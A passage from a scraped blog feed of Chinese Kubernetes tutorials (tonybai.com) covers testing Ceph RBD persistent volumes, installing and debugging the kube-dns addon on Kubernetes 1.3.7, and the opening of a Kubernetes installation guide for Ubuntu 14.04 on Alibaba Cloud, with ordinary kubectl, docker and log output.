corrupt, and you might try running e2fsck with an alternate superblock: e2fsck -b 8193 \u0026lt;device\u0026gt; or e2fsck -b 32768 \u0026lt;device\u0026gt; E1107 11:44:38.774080 22037 mount_linux.go:110] Mount failed: exit status 32 Mounting arguments: /dev/rbd1 /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/rbd-image-ceph-image ext4 [defaults] Output: mount: wrong fs type, bad option, bad superblock on /dev/rbd1, missing codepage or helper program, or other error In some cases useful info is found in syslog - try dmesg | tail or so I1107 11:44:38.839148 22037 mount_linux.go:292] Disk \u0026quot;/dev/rbd1\u0026quot; appears to be unformatted, attempting to format as type: \u0026quot;ext4\u0026quot; with options: [-E lazy_itable_init=0,lazy_journal_init=0 -F /dev/rbd1] I1107 11:44:39.152689 22037 mount_linux.go:297] Disk successfully formatted (mkfs): ext4 - /dev/rbd1 /var/lib/kubelet/plugins/kubernetes.io/rbd/rbd/rbd-image-ceph-image I1107 11:44:39.220223 22037 operation_executor.go:768] MountVolume.SetUp succeeded for volume \u0026quot;kubernetes.io/rbd/811a57ee-a49c-11e6-ba01-00163e1625a9-ceph-pv\u0026quot; (spec.Name: \u0026quot;ceph-pv\u0026quot;) pod \u0026quot;811a57ee-a49c-11e6-ba01-00163e1625a9\u0026quot; (UID: \u0026quot;811a57ee-a49c-11e6-ba01-00163e1625a9\u0026quot;). 可以看到，k8s通过fsck发现这个image是一个空image，没有fs在里面，于是默认采用ext4为其格式化，成功后，再行挂载。等待一会后，我们看到ceph-pod1成功run起来了：\n# kubectl get pod NAME READY STATUS RESTARTS AGE ceph-pod1 1/1 Running 0 4m # docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES f50bb8c31b0f busybox \u0026quot;sleep 600000\u0026quot; 4 hours ago Up 4 hours k8s_ceph-busybox1.c0c0379f_ceph-pod1_default_811a57ee-a49c-11e6-ba01-00163e1625a9_9d910a29 # docker exec 574b8069e548 df -h Filesystem Size Used Available Use% Mounted on none 39.2G 20.9G 16.3G 56% / tmpfs 1.9G 0 1.9G 0% /dev tmpfs 1.9G 0 1.9G 0% /sys/fs/cgroup /dev/vda1 39.2G 20.9G 16.3G 56% /dev/termination-log /dev/vda1 39.2G 20.9G 16.3G 56% /etc/resolv.conf /dev/vda1 39.2G 20.9G 16.3G 56% /etc/hostname /dev/vda1 39.2G 20.9G 16.3G 56% /etc/hosts shm 64.0M 0 64.0M 0% /dev/shm /dev/rbd1 120.0M 1.5M 109.5M 1% /usr/share/busybox tmpfs 1.9G 12.0K 1.9G 0% /var/run/secrets/kubernetes.io/serviceaccount tmpfs 1.9G 0 1.9G 0% /proc/kcore tmpfs 1.9G 0 1.9G 0% /proc/timer_list tmpfs 1.9G 0 1.9G 0% /proc/timer_stats tmpfs 1.9G 0 1.9G 0% /proc/sched_debug 六、简单测试 这一节我们要对cephrbd作为k8s PV的效用做一个简单测试。测试步骤：\n在container中，向挂载的cephrbd写入数据； 删除ceph-pod1 重新创建ceph-pod1，查看数据是否还存在。 我们首先通过touch 、vi等命令向ceph-pod1挂载的cephrbd volume写入数据：我们通过容器f50bb8c31b0f 创建/usr/share/busybox/hello-ceph.txt，并向文件写入”hello ceph”一行字符串并保存。\n# docker exec -it f50bb8c31b0f touch /usr/share/busybox/hello-ceph.txt # docker exec -it f50bb8c31b0f vi /usr/share/busybox/hello-ceph.txt # docker exec -it f50bb8c31b0f cat /usr/share/busybox/hello-ceph.txt hello ceph 接下来删除ceph-pod1：\n# kubectl get pod NAME READY STATUS RESTARTS AGE ceph-pod1 1/1 Running 0 4h # kubectl delete pod/ceph-pod1 pod \u0026quot;ceph-pod1\u0026quot; deleted # kubectl get pod NAME READY STATUS RESTARTS AGE ceph-pod1 1/1 Terminating 0 4h # kubectl get pv,pvc NAME CAPACITY ACCESSMODES RECLAIMPOLICY STATUS CLAIM REASON AGE pv/ceph-pv 1Gi RWO Recycle Bound default/ceph-claim 4h NAME STATUS VOLUME CAPACITY ACCESSMODES AGE pvc/ceph-claim Bound ceph-pv 1Gi RWO 4h 可以看到ceph-pod1的删除需要一段时间，这段时间pod一直处于“ Terminating”状态。同时，我们看到pod的删除并没有影响到pv和pvc object，它们依旧存在。\n最后，我们再次来创建一下一个使用同一个pvc的pod，为了避免“不必要”的麻烦，我们建立一个名为ceph-pod2.yaml的描述文件：\napiVersion: v1 kind: Pod metadata: name: ceph-pod2 spec: containers: - name: ceph-busybox2 image: busybox command: [\u0026quot;sleep\u0026quot;, \u0026quot;600000\u0026quot;] volumeMounts: - name: ceph-vol2 mountPath: /usr/share/busybox readOnly: false volumes: - name: ceph-vol2 persistentVolumeClaim: claimName: ceph-claim 创建ceph-pod2：\n# kubectl create -f ceph-pod2.yaml pod \u0026quot;ceph-pod2\u0026quot; created root@node1:~/k8stest/k8s-cephrbd# kubectl get pod NAME READY STATUS RESTARTS AGE ceph-pod2 1/1 Running 0 14s root@node1:~/k8stest/k8s-cephrbd# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 574b8069e548 busybox \u0026quot;sleep 600000\u0026quot; 11 seconds ago Up 10 seconds k8s_ceph-busybox2.c5e637a1_ceph-pod2_default_f4aeebd6-a4c3-11e6-ba01-00163e1625a9_fc94c0fe 查看数据是否依旧存在：\n# docker exec -it 574b8069e548 cat /usr/share/busybox/hello-ceph.txt hello ceph 数据完好无损的被ceph-pod2读取到了！\n七、小结 至此，对k8s与ceph的集成仅仅才是一个开端，更多的feature和坑等待挖掘。近期发现文章越写越长，原因么？自己赶脚是因为目标系统越来越大，越来越复杂。深入K8s的过程，就是继续给自己挖坑的过程^_^。\n我，不是在填坑的路上，就是在坑里:)。\nBTW，列一下参考资料：\n1、Ceph官方文档；\n2、OpenShift中的K8s与Ceph RBD集成的文档;\n3、Kubernetes官方文档Persistent volumes部分；\n4、zphj1987博主的这篇文章。\n","permalink":"https://tonybai.com/2016/11/07/integrate-kubernetes-with-ceph-rbd/","summary":"\u003cp\u003e一旦走上使用\u003ca href=\"http://tonybai.com/tag/kubernetes\"\u003eKubernetes\u003c/a\u003e的道路，你就会发现这条路并不好走，充满荆棘。即便你\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003e使用Kubernetes建立起的集群\u003c/a\u003e规模不大，也是需要“五脏俱全”的，否则你根本无法真正将kubernetes用起来，或者说一个半拉子Kubernetes集群很可能无法满足你要支撑的业务需求。在目前我正在从事的一个产品就是这样，光有K8s还不够，考虑到”有状态服务”的需求，我们还需要给Kubernetes配一个后端存储以支持\u003ca href=\"http://kubernetes.io/docs/user-guide/persistent-volumes/\"\u003ePersistent Volume\u003c/a\u003e机制，使得Pod在k8s的不同节点间调度迁移时，具有持久化需求的数据不会被清除，且Pod中Container无论被调度到哪个节点，始终都能挂载到同一个Volume。\u003c/p\u003e","title":"使用Ceph RBD为Kubernetes集群提供存储卷"},{"content":"在上一篇关于Kubernetes集群安装的文章中，我们建立一个最小可用的k8s集群，不过k8s与1.12版本后的内置了集群管理的Docker不同，k8s是一组松耦合的组件组合而成对外提供服务的。除了核心组件，其他组件是以Add-on形式提供的，比如集群内kube-DNS、K8s Dashboard等。kube-dns是k8s的重要插件，用于完成集群内部service的注册和发现。随着k8s安装和管理体验的进一步完善，DNS插件势必将成为k8s默认安装的一部分。本篇将在《一篇文章带你了解Kubernetes安装》一文的基础上，进一步探讨DNS组件的安装”套路”^_^以及问题的troubleshooting。\n一、安装前提和原理 上文说过，K8s的安装根据Provider的不同而不同，我们这里是基于provider=ubuntu为前提的，使用的安装脚本是浙大团队维护的那套。因此如果你的provider是其他选项，那么这篇文章里所讲述的内容可能不适用。但了解provider=ubuntu下的DNS组件的安装原理，总体上对其他安装方式也是有一定帮助的。\n在部署机k8s安装工作目录的cluster/ubuntu下面，除了安装核心组件所用的download-release.sh、util.sh外，我们看到了另外一个脚本deployAddons.sh，这个脚本内容不多，结构也很清晰，大致的执行步骤就是：\ninit deploy_dns deploy_dashboard 可以看出，这个脚本就是用来部署k8s的两个常用插件：dns和dashboard的。进一步分析，发现deployAddons.sh的执行也是基于./cluster/ubuntu/config-default.sh中的配置，相关的几个配置包括：\n# Optional: Install cluster DNS. ENABLE_CLUSTER_DNS=\u0026quot;${KUBE_ENABLE_CLUSTER_DNS:-true}\u0026quot; # DNS_SERVER_IP must be a IP in SERVICE_CLUSTER_IP_RANGE DNS_SERVER_IP=${DNS_SERVER_IP:-\u0026quot;192.168.3.10\u0026quot;} DNS_DOMAIN=${DNS_DOMAIN:-\u0026quot;cluster.local\u0026quot;} DNS_REPLICAS=${DNS_REPLICAS:-1} deployAddons.sh首先会根据上述配置生成skydns-rc.yaml和skydns-svc.yaml两个k8s描述文件，再通过kubectl create创建dns service。\n二、安装k8s DNS 1、试装 为了让deployAddons.sh脚本执行时只进行DNS组件安装，需要先设置一下环境变量：\nexport KUBE_ENABLE_CLUSTER_UI=false 执行安装脚本：\n# KUBERNETES_PROVIDER=ubuntu ./deployAddons.sh Creating kube-system namespace... The namespace 'kube-system' is successfully created. Deploying DNS on Kubernetes replicationcontroller \u0026quot;kube-dns-v17.1\u0026quot; created service \u0026quot;kube-dns\u0026quot; created Kube-dns rc and service is successfully deployed. 似乎很顺利。我们通过kubectl来查看一下(注意：由于DNS服务被创建在了一个名为kube-system的namespace中，kubectl执行时要指定namespace名字，否则将无法查到dns service)：\n# kubectl --namespace=kube-system get services NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE kube-dns 192.168.3.10 \u0026lt;none\u0026gt; 53/UDP,53/TCP 1m root@iZ25cn4xxnvZ:~/k8stest/1.3.7/kubernetes/cluster/ubuntu# kubectl --namespace=kube-system get pods NAME READY STATUS RESTARTS AGE kube-dns-v17.1-n4tnj 0/3 ErrImagePull 0 4m 在查看DNS组件对应的Pod时，发现Ready为0/3，STATUS为”ErrImagePull”，DNS服务并没有真正起来。\n2、修改skydns-rc.yaml 我们来修正上面的问题。在cluster/ubuntu下，我们发现多了两个文件：skydns-rc.yaml和skydns-svc.yaml，这两个文件就是deployAddons.sh执行时根据config-default.sh中的配置生成的两个k8s service描述文件，问题就出在skydns-rc.yaml中。在该文件中，我们看到了dns service启动的pod所含的三个容器对应的镜像名字：\ngcr.io/google_containers/kubedns-amd64:1.5 gcr.io/google_containers/kube-dnsmasq-amd64:1.3 gcr.io/google_containers/exechealthz-amd64:1.1 在这次安装时，我并没有配置加速器（vpn）。因此在pull gcr.io上的镜像文件时出错了。在没有加速器的情况，我们在docker hub上可以很容易寻找到替代品（由于国内网络连接docker hub慢且经常无法连接，建议先手动pull出这三个替代镜像）：\ngcr.io/google_containers/kubedns-amd64:1.5 =\u0026gt; chasontang/kubedns-amd64:1.5 gcr.io/google_containers/kube-dnsmasq-amd64:1.3 =\u0026gt; chasontang/kube-dnsmasq-amd64:1.3 gcr.io/google_containers/exechealthz-amd64:1.1 =\u0026gt; chasontang/exechealthz-amd64:1.1 我们需要手工将skydns-rc.yaml中的三个镜像名进行替换。并且为了防止deployAddons.sh重新生成skydns-rc.yaml，我们需要注释掉deployAddons.sh中的下面两行：\n#sed -e \u0026quot;s/\\\\\\$DNS_REPLICAS/${DNS_REPLICAS}/g;s/\\\\\\$DNS_DOMAIN/${DNS_DOMAIN}/g;\u0026quot; \u0026quot;${KUBE_ROOT}/cluster/saltbase/salt/kube-dns/skydns-rc.yaml.sed\u0026quot; \u0026gt; skydns-rc.yaml #sed -e \u0026quot;s/\\\\\\$DNS_SERVER_IP/${DNS_SERVER_IP}/g\u0026quot; \u0026quot;${KUBE_ROOT}/cluster/saltbase/salt/kube-dns/skydns-svc.yaml.sed\u0026quot; \u0026gt; skydns-svc.yaml 删除dns服务：\n# kubectl --namespace=kube-system delete rc/kube-dns-v17.1 svc/kube-dns replicationcontroller \u0026quot;kube-dns-v17.1\u0026quot; deleted service \u0026quot;kube-dns\u0026quot; deleted 再次执行deployAddons.sh重新部署DNS组件（不赘述）。安装后，我们还是来查看一下是否安装ok，这次我们直接用docker ps查看pod内那三个容器是否都起来了：\n# docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES e8dc52cba2c7 chasontang/exechealthz-amd64:1.1 \u0026quot;/exechealthz '-cmd=n\u0026quot; 7 minutes ago Up 7 minutes k8s_healthz.1a0d495a_kube-dns-v17.1-0zhfp_kube-system_78728001-974c-11e6-ba01-00163e1625a9_b42e68fc f1b83b442b15 chasontang/kube-dnsmasq-amd64:1.3 \u0026quot;/usr/sbin/dnsmasq --\u0026quot; 7 minutes ago Up 7 minutes k8s_dnsmasq.f16970b7_kube-dns-v17.1-0zhfp_kube-system_78728001-974c-11e6-ba01-00163e1625a9_da111cd4 d9f09b440c6e gcr.io/google_containers/pause-amd64:3.0 \u0026quot;/pause\u0026quot; 7 minutes ago Up 7 minutes k8s_POD.a6b39ba7_kube-dns-v17.1-0zhfp_kube-system_78728001-974c-11e6-ba01-00163e1625a9_b198b4a8 似乎kube-dns这个镜像的容器并没有启动成功。docker ps -a印证了这一点：\n# docker ps -a CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 24387772a2a9 chasontang/kubedns-amd64:1.5 \u0026quot;/kube-dns --domain=c\u0026quot; 3 minutes ago Exited (255) 2 minutes ago k8s_kubedns.cdbc8a07_kube-dns-v17.1-0zhfp_kube-system_78728001-974c-11e6-ba01-00163e1625a9_473144a6 3b8bb401ac6f chasontang/kubedns-amd64:1.5 \u0026quot;/kube-dns --domain=c\u0026quot; 5 minutes ago Exited (255) 4 minutes ago k8s_kubedns.cdbc8a07_kube-dns-v17.1-0zhfp_kube-system_78728001-974c-11e6-ba01-00163e1625a9_cdd57b87 查看一下stop状态下的kube-dns container的容器日志：\n# docker logs 24387772a2a9 I1021 05:18:00.982731 1 server.go:91] Using https://192.168.3.1:443 for kubernetes master I1021 05:18:00.982898 1 server.go:92] Using kubernetes API \u0026lt;nil\u0026gt; I1021 05:18:00.983810 1 server.go:132] Starting SkyDNS server. Listening on port:10053 I1021 05:18:00.984030 1 server.go:139] skydns: metrics enabled on :/metrics I1021 05:18:00.984152 1 dns.go:166] Waiting for service: default/kubernetes I1021 05:18:00.984672 1 logs.go:41] skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053 [rcache 0] I1021 05:18:00.984697 1 logs.go:41] skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053 [rcache 0] I1021 05:18:01.292557 1 dns.go:172] Ignoring error while waiting for service default/kubernetes: the server has asked for the client to provide credentials (get services kubernetes). Sleeping 1s before retrying. E1021 05:18:01.293232 1 reflector.go:216] pkg/dns/dns.go:155: Failed to list *api.Service: the server has asked for the client to provide credentials (get services) E1021 05:18:01.293361 1 reflector.go:216] pkg/dns/dns.go:154: Failed to list *api.Endpoints: the server has asked for the client to provide credentials (get endpoints) I1021 05:18:01.483325 1 dns.go:439] Received DNS Request:kubernetes.default.svc.cluster.local., exact:false I1021 05:18:01.483390 1 dns.go:539] records:[], retval:[], path:[local cluster svc default kubernetes] I1021 05:18:01.582598 1 dns.go:439] Received DNS Request:kubernetes.default.svc.cluster.local., exact:false ... ... I1021 05:19:07.458786 1 dns.go:172] Ignoring error while waiting for service default/kubernetes: the server has asked for the client to provide credentials (get services kubernetes). Sleeping 1s before retrying. E1021 05:19:07.460465 1 reflector.go:216] pkg/dns/dns.go:154: Failed to list *api.Endpoints: the server has asked for the client to provide credentials (get endpoints) E1021 05:19:07.462793 1 reflector.go:216] pkg/dns/dns.go:155: Failed to list *api.Service: the server has asked for the client to provide credentials (get services) F1021 05:19:07.867746 1 server.go:127] Received signal: terminated 从日志上去看，应该是kube-dns去连接apiserver失败，重试一定次数后，退出了。从日志上看，kube-dns视角中的kubernetes api server的地址是：\nI1021 05:18:00.982731 1 server.go:91] Using https://192.168.3.1:443 for kubernetes master 而实际上我们的k8s apiserver监听的insecure port是8080，secure port是6443(由于没有显式配置，6443是源码中的默认端口)，通过https+443端口访问apiserver毫无疑问将以失败告终。问题找到了，接下来就是如何解决了。\n3、指定–kube-master-url 我们看一下kube-dns命令都有哪些可以传入的命令行参数：\n# docker run -it chasontang/kubedns-amd64:1.5 kube-dns --help Usage of /kube-dns: --alsologtostderr[=false]: log to standard error as well as files --dns-port=53: port on which to serve DNS requests. --domain=\u0026quot;cluster.local.\u0026quot;: domain under which to create names --federations=: a comma separated list of the federation names and their corresponding domain names to which this cluster belongs. Example: \u0026quot;myfederation1=example.com,myfederation2=example2.com,myfederation3=example.com\u0026quot; --healthz-port=8081: port on which to serve a kube-dns HTTP readiness probe. --kube-master-url=\u0026quot;\u0026quot;: URL to reach kubernetes master. Env variables in this flag will be expanded. --kubecfg-file=\u0026quot;\u0026quot;: Location of kubecfg file for access to kubernetes master service; --kube-master-url overrides the URL part of this; if neither this nor --kube-master-url are provided, defaults to service account tokens --log-backtrace-at=:0: when logging hits line file:N, emit a stack trace --log-dir=\u0026quot;\u0026quot;: If non-empty, write log files in this directory --log-flush-frequency=5s: Maximum number of seconds between log flushes --logtostderr[=true]: log to standard error instead of files --stderrthreshold=2: logs at or above this threshold go to stderr --v=0: log level for V logs --version[=false]: Print version information and quit --vmodule=: comma-separated list of pattern=N settings for file-filtered logging 可以看出：–kube-master-url这个命令行选项可以实现我们的诉求。我们需要再次修改一下skydns-rc.yaml：\nargs: # command = \u0026quot;/kube-dns\u0026quot; - --domain=cluster.local. - --dns-port=10053 - --kube-master-url=http://10.47.136.60:8080 # 新增一行 再次重新部署DNS Addon，不赘述。部署后查看kube-dns服务信息：\n# kubectl --namespace=kube-system describe service/kube-dns Name: kube-dns Namespace: kube-system Labels: k8s-app=kube-dns kubernetes.io/cluster-service=true kubernetes.io/name=KubeDNS Selector: k8s-app=kube-dns Type: ClusterIP IP: 192.168.3.10 Port: dns 53/UDP Endpoints: 172.16.99.3:53 Port: dns-tcp 53/TCP Endpoints: 172.16.99.3:53 Session Affinity: None No events 在通过docker logs直接查看kube-dns容器的日志：\ndocker logs 2f4905510cd2 I1023 11:44:12.997606 1 server.go:91] Using http://10.47.136.60:8080 for kubernetes master I1023 11:44:13.090820 1 server.go:92] Using kubernetes API v1 I1023 11:44:13.091707 1 server.go:132] Starting SkyDNS server. Listening on port:10053 I1023 11:44:13.091828 1 server.go:139] skydns: metrics enabled on :/metrics I1023 11:44:13.091952 1 dns.go:166] Waiting for service: default/kubernetes I1023 11:44:13.094592 1 logs.go:41] skydns: ready for queries on cluster.local. for tcp://0.0.0.0:10053 [rcache 0] I1023 11:44:13.094606 1 logs.go:41] skydns: ready for queries on cluster.local. for udp://0.0.0.0:10053 [rcache 0] I1023 11:44:13.104789 1 server.go:101] Setting up Healthz Handler(/readiness, /cache) on port :8081 I1023 11:44:13.105912 1 dns.go:660] DNS Record:\u0026amp;{192.168.3.182 0 10 10 false 30 0 }, hash:6a8187e0 I1023 11:44:13.106033 1 dns.go:660] DNS Record:\u0026amp;{kubernetes-dashboard.kube-system.svc.cluster.local. 0 10 10 false 30 0 }, hash:529066a8 I1023 11:44:13.106120 1 dns.go:660] DNS Record:\u0026amp;{192.168.3.10 0 10 10 false 30 0 }, hash:bdfe50f8 I1023 11:44:13.106193 1 dns.go:660] DNS Record:\u0026amp;{kube-dns.kube-system.svc.cluster.local. 53 10 10 false 30 0 }, hash:fdbb4e78 I1023 11:44:13.106268 1 dns.go:660] DNS Record:\u0026amp;{kube-dns.kube-system.svc.cluster.local. 53 10 10 false 30 0 }, hash:fdbb4e78 I1023 11:44:13.106306 1 dns.go:660] DNS Record:\u0026amp;{kube-dns.kube-system.svc.cluster.local. 0 10 10 false 30 0 }, hash:d1247c4e I1023 11:44:13.106329 1 dns.go:660] DNS Record:\u0026amp;{192.168.3.1 0 10 10 false 30 0 }, hash:2b11f462 I1023 11:44:13.106350 1 dns.go:660] DNS Record:\u0026amp;{kubernetes.default.svc.cluster.local. 443 10 10 false 30 0 }, hash:c3f6ae26 I1023 11:44:13.106377 1 dns.go:660] DNS Record:\u0026amp;{kubernetes.default.svc.cluster.local. 0 10 10 false 30 0 }, hash:b9b7d845 I1023 11:44:13.106398 1 dns.go:660] DNS Record:\u0026amp;{192.168.3.179 0 10 10 false 30 0 }, hash:d7e0b1e I1023 11:44:13.106422 1 dns.go:660] DNS Record:\u0026amp;{my-nginx.default.svc.cluster.local. 0 10 10 false 30 0 }, hash:b0f41a92 I1023 11:44:16.083653 1 dns.go:439] Received DNS Request:kubernetes.default.svc.cluster.local., exact:false I1023 11:44:16.083950 1 dns.go:539] records:[0xc8202c39d0], retval:[{192.168.3.1 0 10 10 false 30 0 /skydns/local/cluster/svc/default/kubernetes/3262313166343632}], path:[local cluster svc default kubernetes] I1023 11:44:16.084474 1 dns.go:439] Received DNS Request:kubernetes.default.svc.cluster.local., exact:false I1023 11:44:16.084517 1 dns.go:539] records:[0xc8202c39d0], retval:[{192.168.3.1 0 10 10 false 30 0 /skydns/local/cluster/svc/default/kubernetes/3262313166343632}], path:[local cluster svc default kubernetes] I1023 11:44:16.085024 1 dns.go:583] Received ReverseRecord Request:1.3.168.192.in-addr.arpa. 通过日志可以看到，apiserver的url是正确的，kube-dns组件没有再输出错误，安装似乎成功了，还需要测试验证一下。\n三、测试验证k8s DNS 按照预期，k8s dns组件可以为k8s集群内的service做dns解析。当前k8s集群默认namespace已经部署的服务如下：\n# kubectl get services NAME CLUSTER-IP EXTERNAL-IP PORT(S) AGE kubernetes 192.168.3.1 \u0026lt;none\u0026gt; 443/TCP 10d my-nginx 192.168.3.179 \u0026lt;nodes\u0026gt; 80/TCP 6d 我们在k8s集群中的一个myclient容器中尝试去ping和curl my-nginx服务：\nping my-nginx解析成功(找到my-nginx的clusterip: 192.168.3.179)：\nroot@my-nginx-2395715568-gpljv:/# ping my-nginx PING my-nginx.default.svc.cluster.local (192.168.3.179): 56 data bytes curl my-nginx服务也得到如下成功结果：\n# curl -v my-nginx * Rebuilt URL to: my-nginx/ * Hostname was NOT found in DNS cache * Trying 192.168.3.179... * Connected to my-nginx (192.168.3.179) port 80 (#0) \u0026gt; GET / HTTP/1.1 \u0026gt; User-Agent: curl/7.35.0 \u0026gt; Host: my-nginx \u0026gt; Accept: */* \u0026gt; \u0026lt; HTTP/1.1 200 OK * Server nginx/1.10.1 is not blacklisted \u0026lt; Server: nginx/1.10.1 \u0026lt; Date: Sun, 23 Oct 2016 12:14:01 GMT \u0026lt; Content-Type: text/html \u0026lt; Content-Length: 612 \u0026lt; Last-Modified: Tue, 31 May 2016 14:17:02 GMT \u0026lt; Connection: keep-alive \u0026lt; ETag: \u0026quot;574d9cde-264\u0026quot; \u0026lt; Accept-Ranges: bytes \u0026lt; \u0026lt;!DOCTYPE html\u0026gt; \u0026lt;html\u0026gt; \u0026lt;head\u0026gt; \u0026lt;title\u0026gt;Welcome to nginx!\u0026lt;/title\u0026gt; \u0026lt;style\u0026gt; body { width: 35em; margin: 0 auto; font-family: Tahoma, Verdana, Arial, sans-serif; } \u0026lt;/style\u0026gt; \u0026lt;/head\u0026gt; \u0026lt;body\u0026gt; \u0026lt;h1\u0026gt;Welcome to nginx!\u0026lt;/h1\u0026gt; \u0026lt;p\u0026gt;If you see this page, the nginx web server is successfully installed and working. Further configuration is required.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;For online documentation and support please refer to \u0026lt;a href=\u0026quot;http://nginx.org/\u0026quot;\u0026gt;nginx.org\u0026lt;/a\u0026gt;.\u0026lt;br/\u0026gt; Commercial support is available at \u0026lt;a href=\u0026quot;http://nginx.com/\u0026quot;\u0026gt;nginx.com\u0026lt;/a\u0026gt;.\u0026lt;/p\u0026gt; \u0026lt;p\u0026gt;\u0026lt;em\u0026gt;Thank you for using nginx.\u0026lt;/em\u0026gt;\u0026lt;/p\u0026gt; \u0026lt;/body\u0026gt; \u0026lt;/html\u0026gt; * Connection #0 to host my-nginx left intact 客户端容器的dns配置，这应该是k8s安装时采用的默认配置（与config-default.sh有关）：\n# cat /etc/resolv.conf search default.svc.cluster.local svc.cluster.local cluster.local nameserver 192.168.3.10 options timeout:1 attempts:1 rotate options ndots:5 到此，k8s dns组件就安装ok了。\n","permalink":"https://tonybai.com/2016/10/23/install-dns-addon-for-k8s/","summary":"\u003cp\u003e在\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003e上一篇关于Kubernetes集群安装的文章\u003c/a\u003e中，我们建立一个最小可用的k8s集群，不过k8s与\u003ca href=\"http://tonybai.com/2016/10/11/some-problems-under-swarm-mode-in-docker-1-12/\"\u003e1.12版本后的内置了集群管理的Docker\u003c/a\u003e不同，k8s是一组松耦合的组件组合而成对外提供服务的。除了核心组件，其他组件是以Add-on形式提供的，比如\u003ca href=\"https://github.com/kubernetes/kubernetes/blob/master/build/kube-dns/README.md\"\u003e集群内kube-DNS\u003c/a\u003e、\u003ca href=\"https://github.com/kubernetes/dashboard/\"\u003eK8s Dashboard\u003c/a\u003e等。kube-dns是k8s的重要插件，用于完成集群内部service的注册和发现。随着k8s安装和管理体验的进一步完善，DNS插件势必将成为k8s默认安装的一部分。本篇将在\u003ca href=\"http://tonybai.com/2016/10/18/learn-how-to-install-kubernetes-on-ubuntu/\"\u003e《一篇文章带你了解Kubernetes安装》\u003c/a\u003e一文的基础上，进一步探讨DNS组件的安装”套路”^_^以及问题的troubleshooting。\u003c/p\u003e","title":"Kubernetes集群DNS插件安装"},{"content":"由于之前在阿里云上部署的Docker 1.12.2的Swarm集群没能正常展示出其所宣称的Routing mesh和VIP等功能，为了满足项目需要，我们只能转向另外一种容器集群管理和服务编排工具Kubernetes。\n注：之前Docker1.12集群的Routing mesh和VIP功能失效的问题，经过在github上与Docker开发人员的沟通，目前已经将问题原因缩小在阿里云的网络上面，目前看是用于承载vxlan数据通信的节点4789 UDP端口不通的问题，针对这个问题，我正在通过阿里云售后工程师做进一步沟通，希望能找出真因。\nKubernetes(以下称k8s)是Google开源的一款容器集群管理工具，是Google内部工具Borg的“开源版”。背靠Google这个高大上的亲爹，k8s一出生就吸引了足够的眼球，并得到了诸多知名IT公司的支持。至于Google开源k8s的初衷，美好的说法是Google希望通过输出自己在容器领域长达10多年的丰富经验，帮助容器领域的开发人员和客户提升开发效率和容器管理的档次。但任何一种公司行为都会有其背后的短期或长期的商业目的，Google作为一个商业公司也不会例外。Google推出k8s到底为啥呢？众说纷纭。一种说法是Google通过k8s输出其容器工具的操作和使用方法、API标准等，为全世界的开发人员使用其公有容器预热并提供“零门槛”体验。\nk8s目前是公认的最先进的容器集群管理工具，在1.0版本发布后，k8s的发展速度更加迅猛，并且得到了容器生态圈厂商的全力支持，这包括coreos、rancher等，诸多提供公有云服务的厂商在提供容器服务时也都基于k8s做二次开发来提供基础设施层的支撑，比如华为。可以说k8s也是Docker进军容器集群管理和服务编排领域最为强劲的竞争对手。\n不过和已经原生集成了集群管理工具swarmkit的Docker相比，k8s在文档、安装和集群管理方面的体验还有很大的提升空间。k8s最新发布的1.4版本就是一个着重在这些方面进行改善的版本。比如1.4版本对于Linux主要发行版本Ubuntu Xenial和Red Hat centos7的用户，可以使用熟悉的apt-get和yum来直接安装Kubernetes。再比如，1.4版本引入了kubeadm命令，将集群启动简化为两条命令，不需要再使用复杂的kube-up脚本。\n但对于1.4版本以前的1.3.x版本来说，安装起来的赶脚用最近流行的网络词汇来形容就是“蓝瘦，香菇”，但有些时候我们还不得不去挑战这个过程，本文要带大家了解的就是利用阿里云国内区的ECS主机，在Ubuntu 14.04.4操作系统上安装k8s 1.3.7版本的方法和安装过程。\n零、心理建设 由于k8s是Google出品，很多组件与google是“打断了骨头还连着筋”，因此在国内网络中安装k8s是需要先进行心理建设的^_^，因为和文档中宣称的k8s 1.4版的安装或docker 1.12.x的安装相比，k8s 1.3.7版本的安装简直就是“灾难级”的。\n要想让这一过程适当顺利一些，我们必须准备一个“加速器（你懂的）”。利用加速器应对三件事：慢、断和无法连接。\n慢：国内从github或其他国外公有云上下东西简直太慢了，稍大一些的文件，通常都是几个小时或是10几个小时。 断：你说慢就算了，还总断。断了之后，遇到不支持断点续传的，一切还得重来。动不动就上G的文件，重来的时间成本是我们无法承受的。 无法连接：这个你知道的，很多托管在google名下的东西，你总是无法下载的。 总而言之，k8s的安装和容器集群的搭建过程是一个“漫长”且可能反复的过程，需要做好心理准备。\nBTW，我在安装过程使用的 网友noah_昨夜星辰推荐的多态加速器，只需配置一个http_proxy即可，尤其适合服务器后台加速，非常方便，速度也很好。\n一、安装模型 k8s的文档不可谓不丰富，尤其在k8s安装这个环节，k8s提供了针对各种云平台、裸机、各类OS甚至各类cluster network model实现的安装文档，你着实得费力挑选一个最适合自己情况的。\n由于目前国内阿里云尚未提供Ubuntu 16.04LTS版本虚拟机镜像（通过apt-get install可直接安装最新1.4.x版本k8s），我们只能用ubuntu 14.04.x来安装k8s 1.3.x版本，k8s 1.4版本使用了systemd的相关组件，在ubuntu 14.04.x上手工安装k8s 1.4难度估计将是“地狱级”的。网络模型实现我选择coreos提供的flannel，因此我们需要参考的是由国内浙大团队维护的这份k8s安装文档。浙大的这份安装文档针对的是k8s 1.2+的，从文档评分来看，只是二星半，由此推断，完全按照文档中的步骤安装，成功与否要看运气^_^。注意该文档中提到：文档针对ubuntu 14.04是测试ok的，但由于ubuntu15.xx使用systemd替代upstart了，因此无法保证在ubuntu 15.xx上可以安装成功。\n关于k8s的安装过程，网上也有很多资料，多数资料一上来就是下载xxx，配置yyy，install zzz，缺少一个k8s安装的总体视图。与内置编排引擎swarmkit的单一docker engine的安装不同，k8s是由一系列核心组件配合协作共同完成容器集群调度和服务编排功能的，安装k8s实际上就是将不同组件安装到承担不同角色的节点上去。\nk8s的节点只有两种角色：master和minion，对比Docker 